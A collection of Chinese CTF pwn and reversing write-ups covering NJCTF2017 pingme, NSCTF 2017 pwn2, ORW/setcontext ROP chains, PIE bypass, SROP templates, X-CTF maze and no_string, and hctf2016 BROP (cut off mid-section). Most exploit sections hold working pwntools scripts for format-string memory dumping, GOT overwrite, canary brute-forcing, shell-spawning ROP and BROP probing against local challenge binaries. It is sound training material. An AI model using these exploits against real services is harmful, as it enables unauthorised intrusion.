NJCTF2017_pingme

1.搭建题目:socat tcp-listen:10001,fork exec:./pingme,reuseaddr &

2.题目不给文件,只有地址和端口,可能是BROP也可能是格式化字符串盲打。连接上先尝试格式化字符串盲打,输入多个%p.%p.%p,可以看到泄露出了数据,那么就应该是格式化字符串盲打。

img

3.首先利用爆破找到我们输入的参数偏移:

1
2
3
4
5
6
7
8
9
10
11
12
13
#注释头

from pwn import*
io = remote("127.0.0.1",10001)
#io = process("./pingme")

def exec_fmt(payload):
io.sendline(payload)
info = p.recv()
return info

auto = FmtStr(exec_fmt)
offset = auto.offset

img

偏移为7,验证一下:

img

4.利用格式化字符串漏洞将二进制文件dump下来:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#注释头

from pwn import*

def dump_memory(start_addr,end_addr):
result = ""
while start_addr < end_addr:
io = remote('127.0.0.1',10001)
io.recvline()
payload = "%9$s.AAA" + p32(start_addr)
io.sendline(payload)
data = io.recvuntil(".AAA")[:-4]
if data == "":
data = "\x00"
log.info("leaking: 0x%x --> %s"%(start_addr,data.encode('hex')))
result += data
start_addr += len(data)
io.close()
return result
start_addr = 0x8048000
end_addr = 0x8049000
code_bin = dump_memory(start_addr,end_addr)
with open("code.bin","wb") as f:
f.write(code_bin)
f.close()

(1)由于是格式化字符串打印,会打印到字符串结尾”\x00”,但是不会打印出”\x00”,所以需要补上”\x00”。

(2)这里的%9$s.AAA中偏移为9,是因为打印的是p32(start_addr)处的内容,前面有%9$s.AAA共八个字节,两个地址单位,所以偏移7+2=9。并且填充AAA也是为了满足地址对齐,同时作为特征点来获取程序传回来的数据。将地址放在后面也是为了防止地址中的”\x00”造成截断。

(3)dump的内容只需要有0x1000这么大就行,一个内存页即可。

(4)没有开启PIE时,32位程序从0x8048000开始。

▲搭建题目时,dump出来的内容可能会有点改变,没办法gdb调试,应该是libc版本或者ASLR的问题,不过不影响,IDA静态分析就好。

5.之后就是常规的格式化字符串漏洞利用了,借助dump下来的文件,找到printf的got表地址,利用格式化字符串打印printf函数真实地址。之后通过DynELF或者LibcSearch来获取system函数在libc中的偏移,利用泄露的printf函数真实地址,得到Libc加载的基地址,再计算得到system函数的真实地址。最后再利用格式化字符串漏洞将system函数真实地址写到printf的got表处,劫持got表。最后再输入binsh字符串即可劫持printf(“/bin/sh”)为system(“/bin/sh”)。

(1)泄露printf函数真实地址:

1
2
3
4
5
6
7
8
9
10
11
#注释头

def get_printf_addr():
io = remote('127.0.0.1', '10001')
io.recvline()
payload = "%9$s.AAA" + p32(printf_got)
io.sendline(payload)
data = p.recvuntil(".AAA")[:4]
log.info("printf address: %s" % data.encode('hex'))
return data
printf_addr = get_printf_addr()

(2)计算或者DynELF得到system函数真实地址system_addr。

(3)利用格式化字符串漏洞进行attack

1
2
3
4
5
6
7
payload = fmtstr_payload(7, {printf_got:system_addr})
io = remote('127.0.0.1', '10001')
io.recvline()
io.sendline(payload)
io.recv()
io.sendline('/bin/sh')
io.interactive()

参考资料:

https://www.dazhuanlan.com/2019/10/08/5d9c20226a067/

NSCTF 2017-pwn2

1.常规checksec,开启了NX和canary,IDA打开找漏洞,sub_80487FA()函数中存在两个漏洞:

(1)格式化字符串漏洞:

1
2
3
4
5
6
#注释头

s = (char *)malloc(0x40u);
sub_804876D(&buf);
sprintf(s, "[*] Welcome to the game %s", &buf);
printf(s)

(2)栈溢出漏洞:

1
2
3
#注释头

read(0, &buf, 0x100u);

2.由于canary的关系,栈溢出没办法利用,但是这里可以通过格式化字符串漏洞直接泄露canary,之后再实际操作。这里为了学习爆破canary的方式,先用爆破的方式来获取canary。

3.如果直接爆破canary,由于canary随机刷新,就算去掉最后一个字节\x00,在32位条件下我们假定一个canary的值,那么canary随机生成为我们假定的值的概率应该为1/(2^24-1)所以从概率上讲应该需要爆破2^24-1次,也就是16,777,215-1次,而且还只是概率上的期望值,如果不考虑canary的实际生成机制,并且运气不好的话,可能无穷大,等爆出来黄花菜都凉了,这鬼能接受。所以一般使用爆破canary都需要一个fork子进程。

4.子进程的崩溃并不会影响到父进程,并且由于子进程的数据都是从父进程复制过来的,canary也一样,只要父进程不结束,子进程无论崩溃多少次其初始化的数据还是父进程的数据,canary就不会发生改变,这样就为快速爆破canary创造了前提。刚好这个程序有fork一个子进程:

(1)观察汇编代码:

img

main函数主体中先call fork,由于函数的结果基本都是传给eax,所以这里的eax就代表fork的成功与否,返回ID代表fork成功,然后将调用结果赋值给局部变量[esp+1ch],之后拿0与局部变量[esp+1ch]比较。这里涉及到JNZ影响的标志位ZF,CF等,不细介绍。总而言之就是会fork一个子进程,成功就跳转到我们之前说过的有漏洞的函数中,失败则等待,一会然后依据while重开程序。

(2)观察伪代码也可以

▲fork机制:

1)在父进程中,fork返回新创建子进程的进程ID;

2)在子进程中,fork返回0;

3)如果出现错误,fork返回一个负值;

5.爆破canary原理:

(1)最开始我认为就算canary不变,那么从024开始尝试,一直到canary的值,那么需要尝试canary值这么多次,最少1次,最多2^24次,就算取期望,那也应该是(1/2)(2^24)次。也没办法接受啊。

(2)之后看了canary的检查机制和生成机制:在sub_80487FA汇编代码中:

img

img

生成的时候是将栈上指定地方[ebp+var_C]给修改成canary。

检查的时候,是从栈上取[ebp+var_C]的值传给eax和最开始随机生成的canary(large gs:14h)来比较,所以当我们用栈溢出的时候,我们可以只溢出一个字节来修改[ebp+var_C]的第1个字节,(第0个字节是\x00),然后启动检查机制。由于只修改了栈上[ebp+var_C]的第1个字节数据,第3,2个字节仍然还是之前被保存的canary的值。所以我们获取第1个字节需要尝试最少1次,最多2^8次,平均(1/2)(2^8)次,也就是128次,可以接受。之后将爆破成功的第1个字节加到栈溢出内容中,再溢出一个字节修改[ebp+var_C]上的第2个字节,同理,完成爆破需要128次,总的来说平均需要1283=384次,完全可以接受。

(3)爆破一般形式程序,两个循环:

1
2
3
4
#注释头

for i in xrange(3):
for j in xrange(256):

6.之后不同程序不太一样,有的程序没有循环,是直接fork一个子进程,监听其它端口,这时候只要连接该端口就可以进行爆破,失败了关闭端口就是。

有的程序只是在程序中fork一个子进程,但是有循环,那么我们就需要在循环里跑出来canary。然后直接进行下一步payload,不然断开连接的话,程序又重新生成canary,等于没用。

7.总结一下,程序最开始需要输入Y,然后跳转到有漏洞的函数sub_80487FA中,之后可以获取输入name,这里的输入的name在下一条[*] Welcome to the game之后会被打印出来,并且打印的方式存在格式化字符串漏洞。所以可以通过调试,输入%p来获取栈上的指定的libc地址内容,泄露libc从而获取libc基地址。

8.由于每次子程序崩溃后都会从头开始,都需要再输入Y和name,那么直接将该段泄露代码放在爆破循环中即可:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
canary = '\x00'
for i in xrange(3):
for j in xrange(256):
io.sendline('Y')
io.recv()
io.sendline('%19$p') #泄露栈上的libc地址
io.recvuntil('game ')
leak_libc_addr = int(io.recv(10), 16)

io.recv()
payload = 'A'*16 #构造payload爆破canary
payload += canary
payload += chr(j)
io.send(payload)
io.recv()
if ("" != io.recv(timeout = 0.1)):
#如果canary的字节位爆破正确,应该输出两个"[*] Do you love me?",因此通过第二个recv的结果判断是否成功
canary += chr(j)
log.info('At round %d find canary byte %#x' %(i, j))
break

9.爆破结束后,得到libc基地址,canary,以及一个可以利用的栈溢出,程序循环从最开始。那么利用栈溢出返回到system函数,由于32位程序,栈传参,那么可以提前布置好栈,使得system函数直接从我们布置的栈上读取binsh字符串,直接getshell。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#注释头

log.info('Canary is %#x' %(u32(canary)))
system_addr = leak_libc_addr - 0x2ed3b + 0x3b060
binsh_addr = leak_libc_addr - 0x2ed3b + 0x15fa0f
log.info('System_address:%#x,binsh_addr:%#x'%(system_addr,binsh_addr))

payload = ''
payload += 'A'*16
payload += canary
payload += 'B'*12
payload += p32(system_addr)
payload += 'CCCC'
payload += p32(binsh_addr)

io.sendline('Y') #[*] Do you love me?
io.recv()
io.sendline('1') #[*] Input Your name please: 随便一个输入
io.recv()
io.send(payload) #[*] Input Your Id: 漏洞产生点
io.interactive()

参考资料:

https://bbs.ichunqiu.com/forum.php?mod=collection&action=view&ctid=157

ORW汇总

1.seccomp保护:

(1)工具安装:

1
2
3
4
#注释头

sudo apt install gcc ruby-dev
gem install seccomp-tools

(2)查看保护:

seccomp-tools dump ./pwn

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#注释头

root@241adce81c0a:/ctf/CISCN/silverwolf# seccomp-tools dump ./silverwolf
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x07 0xc000003e if (A != ARCH_X86_64) goto 0009
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x04 0xffffffff if (A != 0xffffffff) goto 0009
0005: 0x15 0x02 0x00 0x00000000 if (A == read) goto 0008
0006: 0x15 0x01 0x00 0x00000001 if (A == write) goto 0008
0007: 0x15 0x00 0x01 0x00000002 if (A != open) goto 0009
0008: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0009: 0x06 0x00 0x00 0x00000000 return KILL

(3)解析:

如上,如果架构不为ARCH_X86_64,则to 0009(kill)。系统调用号A为read,write,则to 0008,即ALLOW。同理看懂if语句就行,这里只能用read和write,照理说open也可以,但是这里好像不太行。

2.setcontext不同版本:

(1)2.29以前:劫持 free_hook 或者 malloc_hook写入 setcontext函数中的 gadget( setcontext+53),通过 rdi索引,来设置相关寄存器:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#注释头

<setcontext+53>: mov rsp,QWORD PTR [rdi+0xa0]
<setcontext+60>: mov rbx,QWORD PTR [rdi+0x80]
<setcontext+67>: mov rbp,QWORD PTR [rdi+0x78]
<setcontext+71>: mov r12,QWORD PTR [rdi+0x48]
<setcontext+75>: mov r13,QWORD PTR [rdi+0x50]
<setcontext+79>: mov r14,QWORD PTR [rdi+0x58]
<setcontext+83>: mov r15,QWORD PTR [rdi+0x60]
<setcontext+87>: mov rcx,QWORD PTR [rdi+0xa8]
<setcontext+94>: push rcx
<setcontext+95>: mov rsi,QWORD PTR [rdi+0x70]
<setcontext+99>: mov rdx,QWORD PTR [rdi+0x88]
<setcontext+106>: mov rcx,QWORD PTR [rdi+0x98]
<setcontext+113>: mov r8,QWORD PTR [rdi+0x28]
<setcontext+117>: mov r9,QWORD PTR [rdi+0x30]
<setcontext+121>: mov rdi,QWORD PTR [rdi+0x68]
<setcontext+125>: xor eax,eax
<setcontext+127>: ret

并执行提前布置好的 ORW ROP chains。

△如果是free_hook则将对应要释放的堆块的内容改为ORW ROP chains即可。如果是malloc_hook,不太知道,应该也是在对应堆块改ORW ROP chains,但是需要这个堆块确实是这一次malloc出来的堆块吧。

(2)2.29后 setcontext中的gadget变成了以 rdx索引,因此如果我们按照之前思路的话,需要通过 ROP控制 RDX的值,如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#注释头

.text:00000000000580DD mov rsp, [rdx+0A0h]
.text:00000000000580E4 mov rbx, [rdx+80h]
.text:00000000000580EB mov rbp, [rdx+78h]
.text:00000000000580EF mov r12, [rdx+48h]
.text:00000000000580F3 mov r13, [rdx+50h]
.text:00000000000580F7 mov r14, [rdx+58h]
.text:00000000000580FB mov r15, [rdx+60h]
.text:00000000000580FF test dword ptr fs:48h, 2
....
.text:00000000000581C6 mov rcx, [rdx+0A8h]
.text:00000000000581CD push rcx
.text:00000000000581CE mov rsi, [rdx+70h]
.text:00000000000581D2 mov rdi, [rdx+68h]
.text:00000000000581D6 mov rcx, [rdx+98h]
.text:00000000000581DD mov r8, [rdx+28h]
.text:00000000000581E1 mov r9, [rdx+30h]
.text:00000000000581E5 mov rdx, [rdx+88h]
.text:00000000000581EC xor eax, eax
.text:00000000000581EE retn

这里好像赋值的索引好像有点变化,所以可能实际做题的时候需要变一下脚本。同时setcontext+53变成了setcontext+61然后由于rdx的gadget可能不是太好找,所以一般有以下几个好用的gadget:

①getkeyserv_handle+576:

1
2
3
4
5
#注释头

mov rdx, [rdi+8]
mov [rsp+0C8h+var_C8], rax
call qword ptr [rdx+20h]

通过rdi控制rdx,同样2.29以后不同版本都不太一样,需要再调试看看,比如2.31里就是:

1
2
3
4
5
#注释头

mov rdx,QWORD PTR [rdi+0x8]
mov QWORD PTR [rsp],rax
call QWORD PTR [rdx+0x20]

②svcudp_reply+26:

1
2
3
4
5
6
7
8
#注释头

mov rbp, qword ptr [rdi + 0x48];
mov rax, qword ptr [rbp + 0x18];
lea r13, [rbp + 0x10];
mov dword ptr [rbp + 0x10], 0;
mov rdi, r13;
call qword ptr [rax + 0x28];

通过rdi控制rbp实现栈迁移,然后即可任意gadget了。

其中2.31版本下还是一样的,如下:

1
2
3
4
5
6
7
8
#注释头

mov rbp,QWORD PTR [rdi+0x48]
mov rax,QWORD PTR [rbp+0x18]
lea r13,[rbp+0x10]
mov DWORD PTR [rbp+0x10],0x0
mov rdi,r13
call QWORD PTR [rax+0x28]

③万能gadget,不知道为什么https://www.anquanke.com/post/id/236832#h3-10这篇文章没有提及到万能gadget,不过我觉得应该也能用,不过使用万能gadget的话一般还需要配合栈迁移才行。

④通过environ泄露栈地址,并在栈上构造orw rop链。(libc的bss偏移,然后io_file)

3.常用orw chains脚本:

(1)利用open、write、read:

CISCN-2021 silverwolf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#注释头

#直接改__free_hook为setcontext+53
#2.28 and down

chunk_addr = heap_addr +0x2e0
fake_rsp = chunk_addr + 0xb0 + 0x10
flag = chunk_addr + 0xb0

orw = "a"*0xa0

orw += p64(fake_rsp)+p64(ret)
orw += './flag\x00\x00'
orw += p64(0)
orw += p64(pop_rdi_ret) + p64(flag)
orw += p64(pop_rsi_ret) + p64(0)
orw += p64(pop_rax_ret) + p64(2)
orw += p64(syscall_ret)
orw += p64(pop_rdi_ret) + p64(3)
orw += p64(pop_rsi_ret) + p64(fake_rsp+0x200)
orw += p64(pop_rdx_ret) + p64(0x30)
orw += p64(libc_base+libc.sym['read'])
orw += p64(pop_rdi_ret) + p64(1)
orw += p64(libc_base+libc.sym['write'])

2019-BALSN-CTF-plaintext

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#注释头

#2.29,需要将__free_hook设置为指定gadget,这里为__libc_cleanup_routine+7
mov rdx, qword ptr [rdi + 8]
mov rax, qword ptr [rdi]
mov rdi, rdx
jmp rax
#不同gadget脚本需要微调,只要满足赋值rdi并且之后跳转到setcontext即可
#需要从"a"*0xa0中拿出0x10的空间用来设置setcontext,然后将rdx赋值为对应chunk地址

chunk_addr = heap_addr +0x30a0
fake_rsp = chunk_addr + 0xb0 + 0x10
flag = chunk_addr + 0xb0

#这里setcontext+0x1d或53都可以,具体调试分析,但是61不行
#即chunk_addr+0x8赋值为chunk_addr,chunk_addr赋值为setcontext+0x1d
orw = p64(libc_addr + libc.symbols['setcontext'] + 0x1d) + p64(chunk_addr)
orw += "a"*0x90

orw += p64(fake_rsp) + p64(ret)
orw += './flag\x00\x00'
orw += p64(0)
orw += p64(pop_rdi_ret) + p64(flag)
orw += p64(pop_rsi_ret) + p64(0)
orw += p64(pop_rax_ret) + p64(2)
orw += p64(syscall_ret)
orw += p64(pop_rdi_ret) + p64(3)
orw += p64(pop_rsi_ret) + p64(fake_rsp+0x200)
orw += p64(pop_rdx_ret) + p64(0x30)
orw += p64(libc_base+libc.sym['read'])
orw += p64(pop_rdi_ret) + p64(1)
orw += p64(libc_base+libc.sym['write'])

YCB easy_heap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#注释头 
#2.31
#这里同样将free_hook设置为gadget,用到的是getkeyserv_handle+576:
mov rdx, [rdi+8]
mov [rsp+0C8h+var_C8], rax
call qword ptr [rdx+20h]

#chunk_addr+8赋值为chunk_addr,chunk_addr+0x20赋值为setcontext+61
chunk_addr = heap_addr +0x20
fake_rsp = chunk_addr + 0xb0 + 0x10
flag = chunk_addr + 0xb0

orw = "a"*0x08 + p64(chunk_addr)
orw += "a"*0x10
orw += p64(libc_addr + libc.sym['setcontext'] + 61) + "a"*0x8
orw += "a"*0x70

orw += p64(fake_rsp) + p64(ret)
orw += './flag\x00\x00'
orw += p64(0)
orw += p64(pop_rdi_ret) + p64(flag)
orw += p64(pop_rsi_ret) + p64(0)
orw += p64(pop_rax_ret) + p64(2)
orw += p64(syscall_ret)
orw += p64(pop_rdi_ret) + p64(3)
orw += p64(pop_rsi_ret) + p64(fake_rsp+0x200)
orw += p64(pop_rdx_ret) + p64(0x30)
orw += p64(libc_base+libc.sym['read'])
orw += p64(pop_rdi_ret) + p64(1)
orw += p64(libc_base+libc.sym['write'])

▲同样可以用frame结构体来调用函数。

PIE绕过总结

1.利用PIE机制,爆破倒数第四位可以跳转到同一个内存页中的任意函数。

2.利用栈溢出和打印函数的参数,修改劫持rbp使得利用rbp寻址的打印函数的参数指向栈上其它位置,通过爆破来寻求泄露Libc地址。

3.利用vsyscall或者vdso来滑过一段栈空间,从而将eip挪移到栈底下方我们想要的地址处。

SROP总结

一、SROP调用的结构体,在sigcontext.h中有定义:

1.32位程序:

(1)总长度共计:

(2)调用:

1
2
3
4
5
6
7
8
9
#注释头

A.32位系统上运行32位程序:
context.arch = 'i386'
SigreturnFrame(kernel = 'i386')

B.64位系统上运行32位程序:
context.arch = 'i386'
SigreturnFrame(kernel = 'amd64')

2.64位程序:

(1)总长共计:0xf8

(2)调用:

1
2
3
4
#注释头

context.arch = ‘amd64’
SigreturnFrame(kernel = ‘amd64’)

二、pwn中使用:

1.首先定义:

frame_func = SigreturnFrame()

2.之后设置寄存器:

1
2
3
4
5
6
7
8
#注释头

frame_func.rax = constants.SYS_func
frame_func.rdi/rsi/......
frame_func.rsp = stack_addr
#栈劫持一般可以用到,即当SROP运行完之后,栈顶就会跳转到设置的rsp处,没设置则默认为0
frame_func.rip = syscall_addr
#这里通过rax和rip配合调用任意系统函数,其它寄存器就是用来设置参数的)

3.使用条件:

(1)没有sigreturn gadget指针时,利用syscall来调用:

①64位需要系统调用号rax = 0xf。32位需要系统调用号rax = 0x4d

(这个一般可以通过read函数来实现,修改rax)

②进入时需要执行syscall,栈顶rsp指向frame_func结构体头部。

(2)有sigreturn指针时:

直接覆盖返回地址为sigreturn gadget,然后该返回地址下方的栈上覆盖frame_func结构体。

三、常用功能:

1.read:

1
2
3
4
5
6
7
8
#注释头

frame_read = SigreturnFrame() #设置read的SROP帧
frame_read.rax = constants.SYS_read
frame_read.rdi = 0
frame_read.rsi = stack_addr
frame_read.rdx = 0x300
frame_read.rip = syscall_addr

2.利用mprotect修改内存RWX权限:

1
2
3
4
5
6
7
8
9
10
#注释头

frame_mprotect = SigreturnFrame()
#设置mprotect的SROP帧,用mprotect修改栈内存为RWX
frame_mprotect.rax = constants.SYS_mprotect
frame_mprotect.rdi = stack_addr & 0xFFFFFFFFFFFFF000
frame_mprotect.rsi = 0x1000
frame_mprotect.rdx = constants.PROT_READ | constants.PROT_WRITE | constants.PROT_EXEC
frame_mprotect.rsp = stack_addr
frame_mprotect.rip = syscall_addr

3.getshell:

1
2
3
4
5
6
7
#注释头

frame_execve = SigreturnFrame()
frame_execve.rax = constants.SYS_execve
frame_execve.rdi = stack_addr+0x108
#这是binsh字符串的地址
frame_execve.rip = syscall_addr

四、结构体 in /usr/include/bits/sigcontext.h:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#注释头  0xf8

struct sigcontext
{
__uint64_t r8;
__uint64_t r9;
__uint64_t r10;
__uint64_t r11;
__uint64_t r12;
__uint64_t r13;
__uint64_t r14;
__uint64_t r15;
__uint64_t rdi;
__uint64_t rsi;
__uint64_t rbp;
__uint64_t rbx;
__uint64_t rdx;
__uint64_t rax;
__uint64_t rcx;
__uint64_t rsp;
__uint64_t rip;
__uint64_t eflags;
unsigned short cs;
unsigned short gs;
unsigned short fs;
unsigned short __pad0;
__uint64_t err;
__uint64_t trapno;
__uint64_t oldmask;
__uint64_t cr2;
__extension__ union
{
struct _fpstate * fpstate;
__uint64_t __fpstate_word;
};
__uint64_t __reserved1 [8];
};
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#注释头    0x50

struct sigcontext
{
unsigned short gs, __gsh;
unsigned short fs, __fsh;
unsigned short es, __esh;
unsigned short ds, __dsh;
unsigned long edi;
unsigned long esi;
unsigned long ebp;
unsigned long esp;
unsigned long ebx;
unsigned long edx;
unsigned long ecx;
unsigned long eax;
unsigned long trapno;
unsigned long err;
unsigned long eip;
unsigned short cs, __csh;
unsigned long eflags;
unsigned long esp_at_signal;
unsigned short ss, __ssh;
struct _fpstate * fpstate;
unsigned long oldmask;
unsigned long cr2;
};

实际大小最好对应版本再调试

X-CTF-maze

文件地址:https://github.com/PIG-007/X-CTF

1.拖入exeinfope.exe查看版本位数,64位,载入IDA.

2.由于题目maze的提示,还有函数中一直出现的8,再加上判断语句中

asc_601060[8 * (signed int)v9 + SHIDWORD(v9)] != ‘#’

以及字符串:

“ ******* * **** * **** * *** *# *** *** *** *********”

可知是走迷宫题目,也就是将该字符串以8位为一个行,形成一个8*8的迷宫:

https://adworld.xctf.org.cn/media/task/writeup/cn/maze/10.png

img

按照1的路径一直走,共走18步。

3.然后再仔细分析,在linux中运行,需要输入flag,再在IDA中发现有输入长度要求,得是nctf{xxxxx(18个)}这种形式。然后分析迷宫,发现取最短路径走到#刚好是18个。

4.现在开始寻找方向:很容易发现四个if语句:(这里得右键对应的数字-R转成字符形式,才能看到对应数字的ascii码)

if ( v4 == ‘O’ )

if ( v4 == ‘o’ )

if ( v4 == ‘.’ )

if ( v4 == ‘0’ )

这个应该就是代表上下左右了,那么现在还得判断究竟是哪个代表哪个。这里有两种方法。一是接着看代码,进去里面仔细分析,可以推出。二是通过远程调试来判断。

▲方法一:我们进入到四个if语句中的每个函数中看看,有类似如下语句:

v1 = (*a1)–;

v1 = *a1 + 1;

imgimg

传入的值分别是:&v10+4,和&v10,这里不同的IDA反汇编出来的参数不一样,但看v10的类型是一个int型的指针,4个字节为一个int,&v10+4代表int指针往下拨动一个int,也就是常说的指针+1,有的时候IDA也会反汇编为&v10+1,这是代表的是&(V10+1)也是一样的,只是括号没有写出来。这里我们可以将鼠标移动到变量上,按下Y快捷键,输入int[2]来修改,之后再按N快捷键修改变量名称为direction,最终变成

img

这样就清晰多了,至于为什么要int[2],因为迷宫都是二维的,一般可用x0y坐标轴来表示,这样我们就可将direction[1]l来代表x轴,direction代表y轴,反之亦然。如下:

img

那么就是O和o代表x轴左右,0和.代表y轴上下或者反过来,则flag就有两种,都列举出来提交试试就可以得到正确答案。

▲尝试第二种方法,远程linux下调试:这里还需要看看接下来的代码:

img

img

所有方向判断语句之后都会跳转到LABEL_14,由此可以断定得是判断正确才会break来使得label20不被运行,从而跳出打印错误flag的语句,所以这里需要使得v6=1,然后再向上找找,有这样的语句:

而v7又是方向判断函数的返回值,所以在运行时可以尝试看v7的值来判断输入的正确与否。于是在该处下断点,或者对应汇编代码中:mov bpl, al。(鼠标放在v7上,显示al,说明v7是存放在al这个变量上的),尝试性输入nctf{000000000000000000},输入够了就行,然后在运行中看v7,也就是al的值,如果被赋值为1,则0就代表向右,因为我们迷宫中第一步就是向右的,否则就换下一个试。依次类推,可以通过调试来摸清方向。

img

断点停住,查看al的值为1,本来应该说明0代表向右,但是如果输入

nctf{oooooooooooooooooo},al的值也是1。这里是因为右和下都能走,但是源代码中还有一个判断逻辑:

img

代表撞墙逻辑,也就是如果撞墙上了,仍然会打印错误Flag。查看迷宫,发现向下会撞墙上,而对应nctf{oooooooooooooooooo}调试的时候,接着单步执行,会发现程序再一次进入方向判断函数,并没有直接进入撞墙的逻辑中,说明nctf{oooooooooooooooooo}的第一个才是右,而nctf{000000000000000000}会撞墙上,虽然v7的值是1,但仍然会导致错误。所以0代表下,o代表右,依次类推就可以判断出方向。

最终flag为:nctf{o0oo00O000oooo..OO}

(Linux远程调试可以看其它文章)

X-CTF-no_string

文件地址:https://github.com/PIG-007/X-CTF

  1. 这是一个linux程序,先在Linux环境下跑一下,输出两串没用字符,其中一个是显示错误信息,不过这也代表了应该要输入东西之后,显示正确,然后打印flag,或者直接输入flag,打印正确。
  2. 载入IDA,发现关键函数在authenticate()中的decrypt(),函数decrypt()进行一堆算法,然后赋值给s2,再将s2与输入的字符串作比较,一样就打印成功,但是不打印其它字符串。这里就可以判定我们应该是得输入flag,然后程序判断后打印成功。那么我们需要的flag就应该在s2中。这里就可以分两种方法来获取flag。

★第一种:让程序跑起来,然后查看s2所在寄存器的的值

(1)打开linux的虚拟环境,打开终端,输入gdb no_string,开始使用gdb载入程序。

(2)输入命令b decrypt,表示在该函数处下断点,之后输入r让程序运行至断点处停止。

(3)这时候因为程序是停在decrypt这个函数上,并没有执行该函数,所以应该输入n来使得程序进行一步,运行该函数。

(4)此时eax寄存器中应该保存着s2,也就是我们需要的flag的值,所以输入命令:x/200wx$eax 来获取eax寄存器中的值:

img

从0x00000039一直到字符串结尾字符标志0x00000000,也就是对应flag的值,大家直接黏贴出来转ascii码就行。

▲200是代表查看多少个,wx是代表以word字节查看,$eax即是查看该寄存器的值。

(另外:可以通过IDApython来打印,也就是先在linux下远程动态调试,将断点停在decrypt上,然后运行一步,在右上角寄存器窗口栏右键eax-在数据窗口跟随,找到eax的首地址,运行如下py代码:

1
2
3
4
5
6
#注释头
addr=0x0965D800#eax首地址,或者点击eax首地址,然后换成here()
ans=""
for temp addr in range(addr,addr+50*4,4):
ans+=get_bytes(tempaddr,1)
print(ans)

这里addr+504代表从addr开始偏移量为504,因为可以看到eax中每四个字节存 储一个字符数据,也就是向下读取50个字符,然后后面的4是以4个字节为一个单位来翻译字符)

★第二种:

(1)在IDA中查看传入decrypt的两个数据,可以用Py脚本打印或者是点进去,然后选中整个数据段之后shift+E,可以转换为C类型或者是hex类型可得。

(2)然后编写逆推算法:利用十六进制来表示。

hctf2016-brop

1.题目用以下代码编译和搭建,[brop.c]就是程序代码文件

1
2
3
4
#注释头

gcc -z noexecstack -fno-stack-protector -no-pie brop.c -o brop
socat tcp-listen:10001,fork exec:./brop,reuseaddr &

2.程序不打印我们的输入,并且输入多个%p没什么反应,那么应该就不是格式化字符串盲打,尝试栈溢出行不行,使用脚本爆破一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#注释头

def getbufferflow_length():
i = 1
while 1:
try:
sh = remote('127.0.0.1', 10001)
sh.recvuntil('WelCome my friend,Do you know password?\n ')
sh.send(i * 'a')
output = sh.recv()
sh.close()
if not output.startswith('No password'):
return i - 1
else:
i += 1
except EOFError:
sh.close()
return i - 1

buf_size = getbufferflow_length()
log.info("buf_size:%d"%buf_size)

不断尝试,如果没有接收到“No password”那就代表程序出错,栈溢出覆盖到了返回地址,这时候就退出,其它错误也退出。最后爆破出来为72个字节,那么buf的缓冲区就是72-8(rbp)=64个字节。(总感觉这里有点问题,如果真是blind,那么肯定也不知道是32位还是64位啊,那么就应该两种方案都要尝试一下吧)

3.寻找可以使得程序挂起的stop_gadget。这个stop_gadget是什么不重要,只要能让程序不崩溃,能够在之后探索其它可以rop的时候接收到正确的反馈,那么是什么都可以。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#注释头

def get_stop_addr(buf_size):
addr = 0x400000
while True:
sleep(0.1)#缓冲
addr += 1
payload = "A"*buf_size
payload += p64(addr)#probe_addr
try:
sh = remote('127.0.0.1', 10001)
sh.recvline()
sh.sendline(payload)
sh.recvline()
sh.close()
log.info("stop address: 0x%x" % addr)
return addr
except EOFError as e:#crash and restart
sh.close()
log.info("bad: 0x%x" % addr)
except:#other error
log.info("Can't connect")
addr -= 1

4.得到stop_addr之后,就可以继续探索其它的rop_gadget,这里寻找万能gadget的六个pop的地方:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#注释头

def get_gadgets_addr(buf_size, stop_addr):
addr = stop_addr
while True:
sleep(0.1)
addr += 1
payload = "A"*buf_size
payload += p64(addr)
payload += p64(1) + p64(2) + p64(3) + p64(4) + p64(5) +
p64(6)
payload += p64(stop_addr)
try:
p = remote('127.0.0.1', 10001)
p.recvline()
p.sendline(payload)
p.recvline()
p.close()
log.info("find address: 0x%x" % addr)
try: # check
payload = "A"*buf_size
payload += p64(addr)
payload += p64(1) + p64(2) + p64(3) + p64(4) + p
64(5) + p64(6)
#Six pop without stop_addr
p = remote('127.0.0.1', 10001)
p.recvline()
p.sendline(payload)
p.recvline()
p.close()
log.info("bad address: 0x%x" % addr)
#Not crash,Bad addr.
except:#Crash,success addr
p.close()
log.info("gadget address: 0x%x" % addr)
return addr
except EOFError as e:
p.close()
log.info("bad: 0x%x" % addr)
except:
log.info("Can't connect")
addr -= 1

找到之后,需要再次检查一下,用来确定是不是万能gadget,因为如果有程序六个pop之后不retn,那就不是万能gadget。因为需要dump二进制文件,所以需要万能gadget中的Pop rdi;ret 这个gadget来dump文件。

5.寻找puts函数的plt表,方便之后调用puts函数和pop rdi;ret这个gadget来dump二进制文件。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#注释头

